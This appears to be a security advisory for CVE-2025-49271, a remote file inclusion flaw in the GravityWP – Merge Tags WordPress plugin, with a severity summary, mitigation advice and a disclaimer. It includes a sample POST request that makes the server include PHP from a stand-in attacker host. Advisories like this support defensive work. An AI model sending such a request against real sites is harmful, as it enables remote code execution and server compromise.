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CVE-2025-49271: PHP Remote File Inclusion Vulnerability in GravityWP – Merge Tags

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Overview

The CVE-2025-49271 is a high-risk vulnerability that has been identified in GravityWP – Merge Tags, a popular WordPress plugin. The flaw lies in the inclusion of PHP files from remote servers, which can potentially lead to system compromise and data leakage. It is crucial for all users and administrators of affected versions of this plugin to take immediate action to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-49271
Severity: High (CVSS: 7.5)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

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Product | Affected Versions

GravityWP – Merge Tags | n/a through 1.4.4

How the Exploit Works

The vulnerability arises from incorrect control of filename for include/require statement in PHP Program. This allows an attacker to manipulate the filesystem references and include PHP files from remote servers. As a result, an attacker could execute arbitrary PHP code on the server, leading to a complete system compromise.

Conceptual Example Code

This is a conceptual example of how the vulnerability might be exploited. The attacker sends a POST request with a malicious PHP file URL included in the request data.

POST /targeted-endpoint HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
path=http://malicious-site.com/malicious-file.php

In this scenario, the “path” parameter is improperly controlled, and thus the server ends up including and executing the remote “malicious-file.php”.

Recommended Mitigation

Users are advised to apply the vendor patch as soon as it is available to fix this vulnerability. In the meantime, employing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure by detecting and blocking attempts to exploit this vulnerability.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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